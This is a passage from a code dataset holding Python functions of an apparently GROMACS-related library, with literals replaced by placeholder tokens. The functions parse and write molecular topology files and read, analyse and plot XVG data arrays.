blocks.SettleType('<STR_LIT>')<EOL>settle.atom = mol.atoms[ai-<NUM_LIT:1>]<EOL>settle.dOH = float(fields[<NUM_LIT:2>])<EOL>settle.dHH = float(fields[<NUM_LIT:3>])<EOL>mol.settles.append(settle)<EOL>_add_info(mol, curr_sec, mol.settles)<EOL><DEDENT>elif curr_sec == \"<STR_LIT>\":<EOL><INDENT>'''<STR_LIT>'''<EOL>assert len(fields) == <NUM_LIT:7><EOL>ai = int(fields[<NUM_LIT:0>])<EOL>aj = int(fields[<NUM_LIT:1>])<EOL>ak = int(fields[<NUM_LIT:2>])<EOL>al = int(fields[<NUM_LIT:3>])<EOL>fu = int(fields[<NUM_LIT:4>])<EOL>assert fu == <NUM_LIT:1><EOL>a = float(fields[<NUM_LIT:5>])<EOL>b = float(fields[<NUM_LIT:6>])<EOL>vs3 = blocks.VirtualSites3Type('<STR_LIT>')<EOL>vs3.atom1 = ai<EOL>vs3.atom2 = aj<EOL>vs3.atom3 = ak<EOL>vs3.atom4 = al<EOL>vs3.gromacs['<STR_LIT>'] = fu<EOL>vs3.gromacs['<STR_LIT>'] = { '<STR_LIT:a>': a, '<STR_LIT:b>':b }<EOL>mol.virtual_sites3.append(vs3)<EOL>_add_info(mol, curr_sec, mol.virtual_sites3)<EOL><DEDENT>elif curr_sec in ('<STR_LIT>',):<EOL><INDENT>ai = int(fields[<NUM_LIT:0>])<EOL>other = list(map(int, fields[<NUM_LIT:1>:]))<EOL>exc = blocks.Exclusion()<EOL>exc.main_atom  = mol.atoms[ai-<NUM_LIT:1>]<EOL>exc.other_atoms= [mol.atoms[k-<NUM_LIT:1>] for k in other]<EOL>mol.exclusions.append(exc)<EOL>_add_info(mol, curr_sec, mol.exclusions)<EOL><DEDENT>elif curr_sec in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>'''<STR_LIT>'''<EOL>ai, aj = fields[:<NUM_LIT:2>]<EOL>fu = int(fields[<NUM_LIT:2>])<EOL>assert fu in (<NUM_LIT:1>,<NUM_LIT:2>)<EOL>cons = blocks.ConstraintType('<STR_LIT>')<EOL>if fu in [<NUM_LIT:1>, <NUM_LIT:2>]:<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>cons.atype1 = ai<EOL>cons.atype2 = aj<EOL>b0 = float(fields[<NUM_LIT:3>])<EOL>cons.gromacs = {'<STR_LIT>':{'<STR_LIT>':b0}, '<STR_LIT>': fu}<EOL>self.constrainttypes.append(cons)<EOL>_add_info(self, curr_sec, self.constrainttypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj = list(map(int, fields[:<NUM_LIT:2>]))<EOL>cons.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>cons.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>cons.gromacs['<STR_LIT>'] = fu<EOL>mol.constraints.append(cons)<EOL>_add_info(mol, curr_sec, mol.constraints)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>elif curr_sec in ('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>pass<EOL><DEDENT>elif curr_sec in ('<STR_LIT>',):<EOL><INDENT>'''<STR_LIT>'''<EOL>pass<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>self.name = fields[<NUM_LIT:0>]<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>assert len(fields) == <NUM_LIT:2><EOL>mname, nmol = fields[<NUM_LIT:0>], int(fields[<NUM_LIT:1>])<EOL>for i in range(nmol):<EOL><INDENT>self.molecules.append(self.dict_molname_mol[mname])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(curr_sec))<EOL><DEDENT><DEDENT><DEDENT>curr_cons = None<EOL>for line in cmap_lines:<EOL><INDENT>if len(line.split()) == <NUM_LIT:8>:<EOL><INDENT>cons = blocks.CMapType('<STR_LIT>')<EOL>atype1, atype2, atype3, atype4, atype8, func, sizeX, sizeY = line.replace(\"<STR_LIT:\\\\>\",\"<STR_LIT>\").split()<EOL>func, sizeX, sizeY = int(func), int(sizeX), int(sizeY)<EOL>cons.atype1 = atype1<EOL>cons.atype2 = atype2<EOL>cons.atype3 = atype3<EOL>cons.atype4 = atype4<EOL>cons.atype8 = atype8<EOL>cons.gromacs = {'<STR_LIT>':[], '<STR_LIT>': func}<EOL>curr_cons = cons<EOL><DEDENT>elif len(line.split()) == <NUM_LIT:10>:<EOL><INDENT>cmap_param = map(float, line.replace(\"<STR_LIT:\\\\>\",\"<STR_LIT>\").split())<EOL>cons.gromacs['<STR_LIT>'] += cmap_param<EOL><DEDENT>elif len(line.split()) == <NUM_LIT:6>:<EOL><INDENT>cmap_param = map(float, line.replace(\"<STR_LIT:\\\\>\",\"<STR_LIT>\").split())<EOL>cons.gromacs['<STR_LIT>'] += cmap_param<EOL>self.cmaptypes.append(curr_cons)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>", "docstring": "Parse a processed.top GROMACS topology file\n\n        The function reads in the file line-by-line, and it's a bunch of 'elif' statements,\n        writing parameter/atom line to current section/molecule.\n\n        ParamTypes are added to self.xyztypes (AtomType goes to self.atomtypes).\n        Params are added to current molecule (Atom goes to mol.atoms.append(atom))\n\n        MoleculeTypes and Molecules are odd, and are added to\n            * MoleculeType to :attr:`self.dict_molname_mol[mol.name] = mol`\n            * Molecule to :attr:`self.molecules.append(self.dict_molname_mol[mname])`\n\n        :obj:`curr_sec` variable stores to current section being read-in\n        :obj:`mol` variable stores the current molecule being read-in\n        :obj:`cmap_lines` are a little odd, since CMAP parameters are stored on multiple lines\n\n        :Arguments:\n          *fname*\n              name of the processed.top file\n\n        :Returns: None", "id": "f6856:c0:m3"}
{"signature": "def __init__(self, system, outfile=\"<STR_LIT>\", multiple_output=False):", "body": "self.logger = logging.getLogger('<STR_LIT>')<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>self.system   = system<EOL>self.outfile = outfile<EOL>self.multiple_output = multiple_output<EOL>self.assemble_topology()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Initialize GROMACS topology writer.\n\n        :Arguments:\n          *system*\n              :class:`blocks.System` object, containing the topology\n          *outfile*\n              name of the file to write to\n          *multiple_output*\n              if True, write moleculetypes to separate files, named mol_MOLNAME.itp (default: False)", "id": "f6856:c1:m0"}
{"signature": "def assemble_topology(self):", "body": "self.logger.debug(\"<STR_LIT>\")<EOL>top = '<STR_LIT>'<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>top += self.toptemplate<EOL>top = top.replace('<STR_LIT>',       '<STR_LIT>'.join( self._make_defaults(self.system)) )<EOL>top = top.replace('<STR_LIT>',      '<STR_LIT>'.join( self._make_atomtypes(self.system)) )<EOL>top = top.replace('<STR_LIT>',  '<STR_LIT>'.join( self._make_nonbond_param(self.system)) )<EOL>top = top.replace('<STR_LIT>',      '<STR_LIT>'.join( self._make_pairtypes(self.system)) )<EOL>top = top.replace('<STR_LIT>',      '<STR_LIT>'.join( self._make_bondtypes(self.system)) )<EOL>top = top.replace('<STR_LIT>','<STR_LIT>'.join( self._make_constrainttypes(self.system)))<EOL>top = top.replace('<STR_LIT>',     '<STR_LIT>'.join( self._make_angletypes(self.system)))<EOL>top = top.replace('<STR_LIT>',  '<STR_LIT>'.join( self._make_dihedraltypes(self.system)) )<EOL>top = top.replace('<STR_LIT>',  '<STR_LIT>'.join( self._make_impropertypes(self.system)) )<EOL>top = top.replace('<STR_LIT>',      '<STR_LIT>'.join( self._make_cmaptypes(self.system)) )<EOL>for i,(molname,m) in enumerate(self.system.dict_molname_mol.items()):<EOL><INDENT>itp = self.itptemplate<EOL>itp = itp.replace('<STR_LIT>',  '<STR_LIT>'.join( self._make_moleculetype(m, molname, m.exclusion_numb))  )<EOL>itp = itp.replace('<STR_LIT>',         '<STR_LIT>'.join( self._make_atoms(m))  )<EOL>itp = itp.replace('<STR_LIT>',         '<STR_LIT>'.join( self._make_bonds(m))  )<EOL>itp = itp.replace('<STR_LIT>',         '<STR_LIT>'.join( self._make_pairs(m))  )<EOL>itp = itp.replace('<STR_LIT>',       '<STR_LIT>'.join( self._make_settles(m))  )<EOL>itp = itp.replace('<STR_LIT>','<STR_LIT>'.join( self._make_virtual_sites3(m))  )<EOL>itp = itp.replace('<STR_LIT>',    '<STR_LIT>'.join( self._make_exclusions(m))  )<EOL>itp = itp.replace('<STR_LIT>',        '<STR_LIT>'.join( self._make_angles(m)) )<EOL>itp = itp.replace('<STR_LIT>',     '<STR_LIT>'.join( self._make_dihedrals(m)) )<EOL>itp = itp.replace('<STR_LIT>',     '<STR_LIT>'.join( self._make_impropers(m)) )<EOL>itp = itp.replace('<STR_LIT>',         '<STR_LIT>'.join( self._make_cmaps(m)) )<EOL>if not self.multiple_output:<EOL><INDENT>top += itp<EOL><DEDENT>else:<EOL><INDENT>outfile = \"<STR_LIT>\".format(molname)<EOL>top += '<STR_LIT>'.format( molname )<EOL>with open(outfile, \"<STR_LIT:w>\") as f:<EOL><INDENT>f.writelines([itp])<EOL><DEDENT><DEDENT><DEDENT>top += '<STR_LIT>'<EOL>top += '<STR_LIT>'<EOL>molecules = [(\"<STR_LIT>\", <NUM_LIT:0>)]<EOL>for m in self.system.molecules:<EOL><INDENT>if (molecules[-<NUM_LIT:1>][<NUM_LIT:0>] != m.name):<EOL><INDENT>molecules.append([m.name, <NUM_LIT:0>])<EOL><DEDENT>if molecules[-<NUM_LIT:1>][<NUM_LIT:0>] == m.name:<EOL><INDENT>molecules[-<NUM_LIT:1>][<NUM_LIT:1>] += <NUM_LIT:1><EOL><DEDENT><DEDENT>for molname, n in molecules[<NUM_LIT:1>:]:<EOL><INDENT>top += '<STR_LIT>'.format(molname, n)<EOL><DEDENT>top += '<STR_LIT:\\n>'<EOL>with open(self.outfile, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines([top])<EOL><DEDENT>", "docstring": "Call the various member self._make_* functions to convert the topology object into a string", "id": "f6856:c1:m2"}
{"signature": "def to_unicode(obj):", "body": "if not isinstance(obj, six.string_types):<EOL><INDENT>return obj<EOL><DEDENT>try:<EOL><INDENT>obj = six.text_type(obj)<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>return obj<EOL>", "docstring": "Convert obj to unicode (if it can be be converted).\n\n    Conversion is only attempted if `obj` is a string type (as\n    determined by :data:`six.string_types`).\n\n    .. versionchanged:: 0.7.0\n       removed `encoding keyword argument", "id": "f6857:m0"}
{"signature": "def besttype(x):", "body": "x = to_unicode(x)  <EOL>try:<EOL><INDENT>x = x.strip()<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>m = re.match(r\"\"\"<STR_LIT>\"\"\", x)<EOL>if m is None:<EOL><INDENT>for converter in int, float, to_unicode:   <EOL><INDENT>try:<EOL><INDENT>return converter(x)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>x = to_unicode(m.group('<STR_LIT:value>'))<EOL><DEDENT>return x<EOL>", "docstring": "Convert string x to the most useful type, i.e. int, float or unicode string.\n\n    If x is a quoted string (single or double quotes) then the quotes\n    are stripped and the enclosed string returned.\n\n    .. Note::\n\n       Strings will be returned as Unicode strings (using :func:`to_unicode`).\n\n    .. versionchanged:: 0.7.0\n       removed `encoding keyword argument", "id": "f6857:m1"}
{"signature": "def to_int64(a):", "body": "<EOL>def promote_i4(typestr):<EOL><INDENT>if typestr[<NUM_LIT:1>:] == '<STR_LIT>':<EOL><INDENT>typestr = typestr[<NUM_LIT:0>]+'<STR_LIT>'<EOL><DEDENT>return typestr<EOL><DEDENT>dtype = [(name, promote_i4(typestr)) for name,typestr in a.dtype.descr]<EOL>return a.astype(dtype)<EOL>", "docstring": "Return view of the recarray with all int32 cast to int64.", "id": "f6857:m2"}
{"signature": "def irecarray_to_py(a):", "body": "pytypes = [pyify(typestr) for name,typestr in a.dtype.descr]<EOL>def convert_record(r):<EOL><INDENT>return tuple([converter(value) for converter, value in zip(pytypes,r)])<EOL><DEDENT>return (convert_record(r) for r in a)<EOL>", "docstring": "Slow conversion of a recarray into a list of records with python types.\n\n    Get the field names from :attr:`a.dtype.names`.\n\n    :Returns: iterator so that one can handle big input arrays", "id": "f6857:m5"}
{"signature": "def __init__(self, mode=\"<STR_LIT>\",  mapping=None, active=True, sep=False, **kwargs):", "body": "self._convertors = {'<STR_LIT>': to_unicode,<EOL>'<STR_LIT>': besttype,<EOL>'<STR_LIT>': self._convert_singlet,<EOL>'<STR_LIT>': self._convert_fancy,<EOL>}<EOL>self.convert = None  <EOL>if mapping is None:<EOL><INDENT>mapping = {'<STR_LIT>': None, '<STR_LIT>':None,<EOL>'<STR_LIT:True>':True, '<STR_LIT:x>': True, '<STR_LIT:X>':True, '<STR_LIT:yes>':True, '<STR_LIT>':True, '<STR_LIT>':True,<EOL>'<STR_LIT:False>':False, '<STR_LIT>': False, '<STR_LIT:->':False, '<STR_LIT:None>':False, '<STR_LIT:none>':False, }<EOL><DEDENT>self.mapping = mapping<EOL>self.mode = mode<EOL>self.__active = None<EOL>self.active = kwargs.pop('<STR_LIT>', active)   <EOL>if sep is True:<EOL><INDENT>sep = None   <EOL><DEDENT>self.sep = sep<EOL>", "docstring": "Initialize the converter.\n\n        :Arguments:\n          *mode*\n             defines what the converter does\n\n                \"simple\"\n                    convert entries with :func:`besttype`\n                \"singlet\"\n                    convert entries with :func:`besttype` and apply\n                    mappings\n                \"fancy\"\n                    first splits fields into lists, tries mappings,\n                    and does the stuff that \"singlet\" does\n                \"unicode\"\n                    convert all entries with :func:`to_unicode`\n\n          *mapping*\n              any dict-like mapping that supports lookup. If``None`` then the\n              hard-coded defaults are used\n\n          *active* or *autoconvert*\n              initial state of the :attr:`Autoconverter.active` toggle.\n              ``False`` deactivates any conversion. [``True``]\n\n          *sep*\n              character to split on (produces lists); use ``True`` or ``None``\n              (!) to split on all white space.\n\n\n        .. versionchanged:: 0.7.0\n           removed `encoding keyword argument", "id": "f6857:c0:m0"}
{"signature": "def _convert_fancy(self, field):", "body": "if self.sep is False:<EOL><INDENT>x = self._convert_singlet(field)<EOL><DEDENT>else:<EOL><INDENT>x = tuple([self._convert_singlet(s) for s in field.split(self.sep)])<EOL>if len(x) == <NUM_LIT:0>:<EOL><INDENT>x = '<STR_LIT>'<EOL><DEDENT>elif len(x) == <NUM_LIT:1>:<EOL><INDENT>x = x[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Convert to a list (sep != None) and convert list elements.", "id": "f6857:c0:m3"}
{"signature": "def break_array(a, threshold=numpy.pi, other=None):", "body": "assert len(a.shape) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>if other is not None and a.shape != other.shape:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>breaks = numpy.where(numpy.abs(numpy.diff(a)) >= threshold)[<NUM_LIT:0>]<EOL>breaks += <NUM_LIT:1><EOL>m = len(breaks)<EOL>b = numpy.empty((len(a) + m))<EOL>b_breaks = breaks + numpy.arange(m)<EOL>mask =  numpy.zeros_like(b, dtype=numpy.bool)<EOL>mask[b_breaks] = True<EOL>b[~mask] = a<EOL>b[mask] = numpy.NAN<EOL>if other is not None:<EOL><INDENT>c = numpy.empty_like(b)<EOL>c[~mask] = other<EOL>c[mask] = numpy.NAN<EOL>ma_c = numpy.ma.array(c, mask=mask)<EOL><DEDENT>else:<EOL><INDENT>ma_c = None<EOL><DEDENT>return numpy.ma.array(b, mask=mask), ma_c<EOL>", "docstring": "Create a array which masks jumps >= threshold.\n\n    Extra points are inserted between two subsequent values whose\n    absolute difference differs by more than threshold (default is\n    pi).\n\n    Other can be a secondary array which is also masked according to\n    *a*.\n\n    Returns (*a_masked*, *other_masked*) (where *other_masked* can be\n    ``None``)", "id": "f6858:m0"}
{"signature": "def __init__(self, filename=None, names=None, array=None, permissive=False, **kwargs):", "body": "self.__array = None           <EOL>self.__cache = {}             <EOL>self.savedata = kwargs.pop('<STR_LIT>', False)<EOL>if filename is not None:<EOL><INDENT>self._init_filename(filename)  <EOL><DEDENT>if names is None:<EOL><INDENT>self.names = []<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.names = names.split('<STR_LIT:U+002C>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.names = names<EOL><DEDENT><DEDENT>self.metadata = kwargs.pop('<STR_LIT>', {})  <EOL>self.permissive = permissive<EOL>self.stride = kwargs.pop('<STR_LIT>', <NUM_LIT:1>)<EOL>self.corrupted_lineno = None      <EOL>self.ncorrel = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>self.__correlkwargs = {}          <EOL>if array is not None:<EOL><INDENT>self.set(array)<EOL><DEDENT>", "docstring": "Initialize the class from a xvg file.\n\n        :Arguments:\n              *filename*\n                    is the xvg file; it can only be of type XY or\n                    NXY. If it is supplied then it is read and parsed\n                    when :attr:`XVG.array` is accessed.\n              *names*\n                    optional labels for the columns (currently only\n                    written as comments to file); string with columns\n                    separated by commas or a list of strings\n              *array*\n                    read data from *array* (see :meth:`XVG.set`)\n              *permissive*\n                    ``False`` raises a :exc:`ValueError` and logs and errior\n                    when encountering data lines that it cannot parse.\n                    ``True`` ignores those lines and logs a warning---this is\n                    a risk because it might read a corrupted input file [``False``]\n              *stride*\n                    Only read every *stride* line of data [1].\n              *savedata*\n                    ``True`` includes the data (:attr:`XVG.array`` and\n                    associated caches) when the instance is pickled (see\n                    :mod:`pickle`); this is oftens not desirable because the\n                    data are already on disk (the xvg file *filename*) and the\n                    resulting pickle file can become very big. ``False`` omits\n                    those data from a pickle. [``False``]\n              *metadata*\n                    dictionary of metadata, which is not touched by the class", "id": "f6858:c0:m0"}
{"signature": "def read(self, filename=None):", "body": "self._init_filename(filename)<EOL>self.parse()<EOL>", "docstring": "Read and parse xvg file *filename*.", "id": "f6858:c0:m1"}
{"signature": "def write(self, filename=None):", "body": "self._init_filename(filename)<EOL>with utilities.openany(self.real_filename, '<STR_LIT:w>') as xvg:<EOL><INDENT>xvg.write(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>xvg.write(\"<STR_LIT>\".format(self.names))<EOL>for xyy in self.array.T:<EOL><INDENT>xyy.tofile(xvg, sep=\"<STR_LIT:U+0020>\", format=\"<STR_LIT>\")  <EOL>xvg.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Write array to xvg file *filename* in NXY format.\n\n        .. Note:: Only plain files working at the moment, not compressed.", "id": "f6858:c0:m2"}
{"signature": "@property<EOL><INDENT>def array(self):<DEDENT>", "body": "if self.__array is None:<EOL><INDENT>self.parse()<EOL><DEDENT>return self.__array<EOL>", "docstring": "Represent xvg data as a (cached) numpy array.\n\n        The array is returned with column-first indexing, i.e. for a data file with\n        columns X Y1 Y2 Y3 ... the array a will be a[0] = X, a[1] = Y1, ... .", "id": "f6858:c0:m3"}
{"signature": "@property<EOL><INDENT>def ma(self):<DEDENT>", "body": "a = self.array<EOL>return numpy.ma.MaskedArray(a, mask=numpy.logical_not(numpy.isfinite(a)))<EOL>", "docstring": "Represent data as a masked array.\n\n        The array is returned with column-first indexing, i.e. for a data file with\n        columns X Y1 Y2 Y3 ... the array a will be a[0] = X, a[1] = Y1, ... .\n\n        inf and nan are filtered via :func:`numpy.isfinite`.", "id": "f6858:c0:m4"}
{"signature": "@property<EOL><INDENT>def mean(self):<DEDENT>", "body": "return self.array[<NUM_LIT:1>:].mean(axis=<NUM_LIT:1>)<EOL>", "docstring": "Mean value of all data columns.", "id": "f6858:c0:m5"}
{"signature": "@property<EOL><INDENT>def std(self):<DEDENT>", "body": "return self.array[<NUM_LIT:1>:].std(axis=<NUM_LIT:1>)<EOL>", "docstring": "Standard deviation from the mean of all data columns.", "id": "f6858:c0:m6"}
{"signature": "@property<EOL><INDENT>def min(self):<DEDENT>", "body": "return self.array[<NUM_LIT:1>:].min(axis=<NUM_LIT:1>)<EOL>", "docstring": "Minimum of the data columns.", "id": "f6858:c0:m7"}
{"signature": "@property<EOL><INDENT>def max(self):<DEDENT>", "body": "return self.array[<NUM_LIT:1>:].max(axis=<NUM_LIT:1>)<EOL>", "docstring": "Maximum of the data columns.", "id": "f6858:c0:m8"}
{"signature": "def _tcorrel(self, nstep=<NUM_LIT:100>, **kwargs):", "body": "t = self.array[<NUM_LIT:0>,::nstep]<EOL>r = gromacs.collections.Collection([numkit.timeseries.tcorrel(t, Y, nstep=<NUM_LIT:1>, **kwargs) for Y in self.array[<NUM_LIT:1>:,::nstep]])<EOL>return r<EOL>", "docstring": "Correlation \"time\" of data.\n\n        The 0-th column of the data is interpreted as a time and the\n        decay of the data is computed from the autocorrelation\n        function (using FFT).\n\n        .. SeeAlso:: :func:`numkit.timeseries.tcorrel`", "id": "f6858:c0:m9"}
{"signature": "def set_correlparameters(self, **kwargs):", "body": "self.ncorrel = kwargs.pop('<STR_LIT>', self.ncorrel) or <NUM_LIT><EOL>nstep = kwargs.pop('<STR_LIT>', None)<EOL>if nstep is None:<EOL><INDENT>nstep = len(self.array[<NUM_LIT:0>])/float(self.ncorrel)<EOL>nstep = int(numpy.ceil(nstep))  <EOL><DEDENT>kwargs['<STR_LIT>'] = nstep<EOL>self.__correlkwargs.update(kwargs)  <EOL>return self.__correlkwargs<EOL>", "docstring": "Set and change the parameters for calculations with  correlation functions.\n\n        The parameters persist until explicitly changed.\n\n        :Keywords:\n           *nstep*\n               only process every *nstep* data point to speed up the FFT; if\n               left empty a default is chosen that produces roughly 25,000 data\n               points (or whatever is set in *ncorrel*)\n           *ncorrel*\n               If no *nstep* is supplied, aim at using *ncorrel* data points for\n               the FFT; sets :attr:`XVG.ncorrel` [25000]\n           *force*\n               force recalculating correlation data even if cached values are\n               available\n           *kwargs*\n               see :func:`numkit.timeseries.tcorrel` for other options\n\n        .. SeeAlso: :attr:`XVG.error` for details and references.", "id": "f6858:c0:m10"}
{"signature": "@property<EOL><INDENT>def error(self):<DEDENT>", "body": "return self._correlprop('<STR_LIT>')<EOL>", "docstring": "Error on the mean of the data, taking the correlation time into account.\n\n        See [FrenkelSmit2002]_ `p526`_:\n\n           error = sqrt(2*tc*acf[0]/T)\n\n        where acf() is the autocorrelation function of the fluctuations around\n        the mean, y-<y>, tc is the correlation time, and T the total length of\n        the simulation.\n\n        .. [FrenkelSmit2002] D. Frenkel and B. Smit, Understanding\n                             Molecular Simulation. Academic Press, San\n                             Diego 2002\n\n        .. _p526: http://books.google.co.uk/books?id=XmyO2oRUg0cC&pg=PA526", "id": "f6858:c0:m12"}
{"signature": "@property<EOL><INDENT>def tc(self):<DEDENT>", "body": "return self._correlprop('<STR_LIT>')<EOL>", "docstring": "Correlation time of the data.\n\n        See :meth:`XVG.error` for details.", "id": "f6858:c0:m13"}
{"signature": "def parse(self, stride=None):", "body": "if stride is None:<EOL><INDENT>stride = self.stride<EOL><DEDENT>self.corrupted_lineno = []<EOL>irow  = <NUM_LIT:0>  <EOL>with utilities.openany(self.real_filename) as xvg:<EOL><INDENT>rows = []<EOL>ncol = None<EOL>for lineno,line in enumerate(xvg):<EOL><INDENT>line = line.strip()<EOL>if len(line) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT:label>\" in line and \"<STR_LIT>\" in line:<EOL><INDENT>self.xaxis = line.split('<STR_LIT:\">')[-<NUM_LIT:2>]<EOL><DEDENT>if \"<STR_LIT:label>\" in line and \"<STR_LIT>\" in line:<EOL><INDENT>self.yaxis = line.split('<STR_LIT:\">')[-<NUM_LIT:2>]<EOL><DEDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>if not \"<STR_LIT>\" in self.metadata: self.metadata[\"<STR_LIT>\"] = []<EOL>self.metadata[\"<STR_LIT>\"].append(line.split(\"<STR_LIT>\")[-<NUM_LIT:1>])<EOL><DEDENT>if line.startswith(\"<STR_LIT>\") and \"<STR_LIT>\" not in line:<EOL><INDENT>name = line.split(\"<STR_LIT>\")[-<NUM_LIT:1>].replace('<STR_LIT:\">','<STR_LIT>').strip()<EOL>self.names.append(name)<EOL><DEDENT>if line.startswith(('<STR_LIT:#>', '<STR_LIT:@>')) :<EOL><INDENT>continue<EOL><DEDENT>if line.startswith('<STR_LIT:&>'):<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(self.real_filename))<EOL><DEDENT>try:<EOL><INDENT>row = [float(el) for el in line.split()]<EOL><DEDENT>except:<EOL><INDENT>if self.permissive:<EOL><INDENT>self.logger.warn(\"<STR_LIT>\",<EOL>self.real_filename, lineno+<NUM_LIT:1>, line)<EOL>self.corrupted_lineno.append(lineno+<NUM_LIT:1>)<EOL>continue<EOL><DEDENT>self.logger.error(\"<STR_LIT>\",<EOL>self.real_filename, lineno+<NUM_LIT:1>, line)<EOL>raise<EOL><DEDENT>if ncol is not None and len(row) != ncol:<EOL><INDENT>if self.permissive:<EOL><INDENT>self.logger.warn(\"<STR_LIT>\",<EOL>self.real_filename, lineno+<NUM_LIT:1>, line)<EOL>self.corrupted_lineno.append(lineno+<NUM_LIT:1>)<EOL>continue<EOL><DEDENT>errmsg = \"<STR_LIT>\".format(self.real_filename, lineno+<NUM_LIT:1>, line)<EOL>self.logger.error(errmsg)<EOL>raise IOError(errno.ENODATA, errmsg, self.real_filename)<EOL><DEDENT>if irow % stride == <NUM_LIT:0>:<EOL><INDENT>ncol = len(row)<EOL>rows.append(row)<EOL><DEDENT>irow += <NUM_LIT:1><EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.__array = numpy.array(rows).transpose()    <EOL><DEDENT>except:<EOL><INDENT>self.logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", self.real_filename)<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>del rows<EOL><DEDENT>", "docstring": "Read and cache the file as a numpy array.\n\n        Store every *stride* line of data; if ``None`` then the class default is used.\n\n        The array is returned with column-first indexing, i.e. for a data file with\n        columns X Y1 Y2 Y3 ... the array a will be a[0] = X, a[1] = Y1, ... .", "id": "f6858:c0:m14"}
{"signature": "def set(self, a):", "body": "self.__array = numpy.asarray(a)<EOL>", "docstring": "Set the *array* data from *a* (i.e. completely replace).\n\n        No sanity checks at the moment...", "id": "f6858:c0:m16"}
{"signature": "def plot(self, **kwargs):", "body": "columns = kwargs.pop('<STR_LIT>', Ellipsis)         <EOL>maxpoints = kwargs.pop('<STR_LIT>', self.maxpoints_default)<EOL>transform = kwargs.pop('<STR_LIT>', lambda x: x)  <EOL>method = kwargs.pop('<STR_LIT>', \"<STR_LIT>\")<EOL>ax = kwargs.pop('<STR_LIT>', None)<EOL>if columns is Ellipsis or columns is None:<EOL><INDENT>columns = numpy.arange(self.array.shape[<NUM_LIT:0>])<EOL><DEDENT>if len(columns) == <NUM_LIT:0>:<EOL><INDENT>raise MissingDataError(\"<STR_LIT>\")<EOL><DEDENT>if len(self.array.shape) == <NUM_LIT:1> or self.array.shape[<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>a = numpy.ravel(self.array)<EOL>X = numpy.arange(len(a))<EOL>a = numpy.vstack((X, a))<EOL>columns = [<NUM_LIT:0>] + [c+<NUM_LIT:1> for c in columns]<EOL><DEDENT>else:<EOL><INDENT>a = self.array<EOL><DEDENT>color = kwargs.pop('<STR_LIT>', self.default_color_cycle)<EOL>try:<EOL><INDENT>cmap = matplotlib.cm.get_cmap(color)<EOL>colors = cmap(matplotlib.colors.Normalize()(numpy.arange(len(columns[<NUM_LIT:1>:]), dtype=float)))<EOL><DEDENT>except TypeError:<EOL><INDENT>colors = cycle(utilities.asiterable(color))<EOL><DEDENT>if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>a = self.decimate(method, numpy.asarray(transform(a))[columns], maxpoints=maxpoints)<EOL>ma = numpy.ma.MaskedArray(a, mask=numpy.logical_not(numpy.isfinite(a)))<EOL>for column, color in zip(range(<NUM_LIT:1>,len(columns)), colors):<EOL><INDENT>if len(ma[column]) == <NUM_LIT:0>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\".format(**vars()), category=MissingDataWarning)<EOL><DEDENT>kwargs['<STR_LIT>'] = color<EOL>ax.plot(ma[<NUM_LIT:0>], ma[column], **kwargs)   <EOL><DEDENT>return ax<EOL>", "docstring": "Plot xvg file data.\n\n        The first column of the data is always taken as the abscissa\n        X. Additional columns are plotted as ordinates Y1, Y2, ...\n\n        In the special case that there is only a single column then this column\n        is plotted against the index, i.e. (N, Y).\n\n        :Keywords:\n          *columns* : list\n               Select the columns of the data to be plotted; the list\n               is used as a numpy.array extended slice. The default is\n               to use all columns. Columns are selected *after* a transform.\n          *transform* : function\n               function ``transform(array) -> array`` which transforms\n               the original array; must return a 2D numpy array of\n               shape [X, Y1, Y2, ...] where X, Y1, ... are column\n               vectors.  By default the transformation is the\n               identity [``lambda x: x``].\n          *maxpoints* : int\n               limit the total number of data points; matplotlib has issues processing\n               png files with >100,000 points and pdfs take forever to display. Set to\n               ``None`` if really all data should be displayed. At the moment we simply\n               decimate the data at regular intervals. [10000]\n          *method*\n               method to decimate the data to *maxpoints*, see :meth:`XVG.decimate`\n               for details\n          *color*\n               single color (used for all plots); sequence of colors\n               (will be repeated as necessary); or a matplotlib\n               colormap (e.g. \"jet\", see :mod:`matplotlib.cm`). The\n               default is to use the :attr:`XVG.default_color_cycle`.\n 